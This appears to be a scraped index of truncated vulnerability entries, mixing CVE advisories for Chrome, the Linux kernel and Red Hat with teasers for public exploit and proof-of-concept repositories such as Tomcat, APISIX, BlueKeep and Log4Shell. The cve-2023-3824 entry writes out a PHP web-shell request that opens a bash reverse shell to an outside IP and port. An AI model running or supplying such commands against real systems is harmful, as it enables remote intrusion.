DEBIAN-CVE-2026-87430

Buffer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Low...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 Exploit/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - JSP Upload Bypass / Remote Code Execution for Python3 I just made a few adjustments to the original script to be compatible with Python 3! If there's any problems or issues faced, feel free to shoot me an email...

cve-2022-24112

Apache APISIX 2.12.1 Remote Code Execution and Docker Lab Let's clone using gitclone this repository, then we can navigate to apisix-docker/examples. In this docker-compose.yml file, we already change into image: apache/apisix:2.12.0-alpine, because the vulnerability in this version, then let's...

CVE-2026-87633

A flaw was found in chromium-browser. This use-after-free vulnerability allows a local attacker to execute arbitrary code outside of the sandbox environment. The exploitation occurs through user interface UI interaction, leading to a compromise of the system beyond the intended security boundarie...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited Apache HTTP Server CVE-2021-41773 Exploited in the Wild CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 incomplete fix of CVE-2021-41773 Shodan oneliner...

CVE-2025-55184

React2Shell PoC This repository provides a minimal intentionally vulnerable environment to test security scanners against the recent critical RCE vulnerability React2Shell affecting React Server Components and Next.js. CVE-2025-55182 : A pre-authentication remote code execution vulnerability exis...

bluekeep

CVE-2019-0708 alias Bluekeep Escáner Un escáner simple para determinar la vulnerabilidad del sistema a CVE-2019-0708. Este es un puerto en Python del escáner del módulo original de metasploit por JaGoTu y zerosum0x0, disponible en Github aquí. Prueba de Concepto Prueba de concepto de RCE mediante...

CVE-2025-55349

CVE-2025-55349 — Ejecución de código arbitrario en pm2 mediante postinstall Descubridor : Golden Ticket Labs Proveedor : Unitech pm2 Fecha de asignación : 20 de agosto de 2025 MITRE Descripción Un problema en el componente lib/API/Modules/NPM.js de Unitech PM2 v5.4.2 permite la ejecución de códig...

Node.js-CVE-2017-5941

Demostración de Vulnerabilidad de Deserialización Insegura en NodeJS Node.js es un entorno de ejecución de código abierto utilizado para implementar funcionalidad de servidor en JavaScript. Un paquete de software específico dentro de Node.js contiene una función vulnerable que maneja la...

cve-2019-19781

CVE-2019-19781 Esto se subió únicamente porque otros investigadores publicaron su código primero. Habríamos preferido mantenerlo oculto por más tiempo mientras los defensores tenían tiempo adecuado para parchear sus sistemas. Estamos a favor de la divulgación responsable; en este caso, el gato ya...

nmap_draytek_rce

nmapdraytekrce nmap script to detect CVE-2020-8515 on Draytek Devices...

kernel: Bluetooth: hci_event: fix potential UAF in SSP passkey handlers

A flaw was found in the Linux kernel's Bluetooth subsystem. This vulnerability, a Use-After-Free UAF, exists within the Secure Simple Pairing SSP passkey handlers. It occurs when hciconn lookup and field access are performed without proper locking, allowing a connection to be freed concurrently...

kernel: USB: serial: io_ti: fix heap overflow in get_manuf_info()

A flaw was found in the Linux kernel's ioti USB serial driver. A malicious USB device, when plugged into a host running this driver, can exploit a heap overflow vulnerability in the getmanufinfo function. This occurs because the driver does not properly validate the size of data read from the...

Log4shell

Informe de análisis Log4Shell de Igloo Corporation, Won Chi-hyun Log4shell CVE-2021-44228 Log4j es un registro gratuito y de código abierto de la Apache Software Foundation, basado en Java y aplicable a todas las aplicaciones. Registra los logs de diversos servicios basados en Java y proporciona...

kernel: Bluetooth: hci_event: fix potential UAF in SSP passkey handlers

A flaw was found in the Linux kernel's Bluetooth subsystem. This vulnerability, a Use-After-Free UAF, exists within the Secure Simple Pairing SSP passkey handlers. It occurs when hciconn lookup and field access are performed without proper locking, allowing a connection to be freed concurrently...

kernel: USB: serial: io_ti: fix heap overflow in get_manuf_info()

A flaw was found in the Linux kernel's ioti USB serial driver. A malicious USB device, when plugged into a host running this driver, can exploit a heap overflow vulnerability in the getmanufinfo function. This occurs because the driver does not properly validate the size of data read from the...

kernel: can:bcm: arbitrary kernel code execution leading to escalate privileges

A flaw was found in the Linux kernel in net/can/bcm.c in can: bcm, where an unprivileged local user can exploit this vulnerability to execute arbitrary code within the kernel, which leads to a local privilege escalation LPE. This allows the attacker to gain root privileges and take full control o...

kernel: ipv6: fix possible UAF in icmpv6_rcv()

A flaw was found in the Linux kernel's IPv6 Internet Protocol version 6 implementation. This vulnerability, a Use-After-Free UAF error, occurs due to incorrect caching of network packet addresses before a memory operation. An attacker could potentially exploit this flaw to cause memory corruption...

Important: Red Hat Security Advisory: kernel security, bug fix, and enhancement update

An update for kernel is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support and Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerabilit...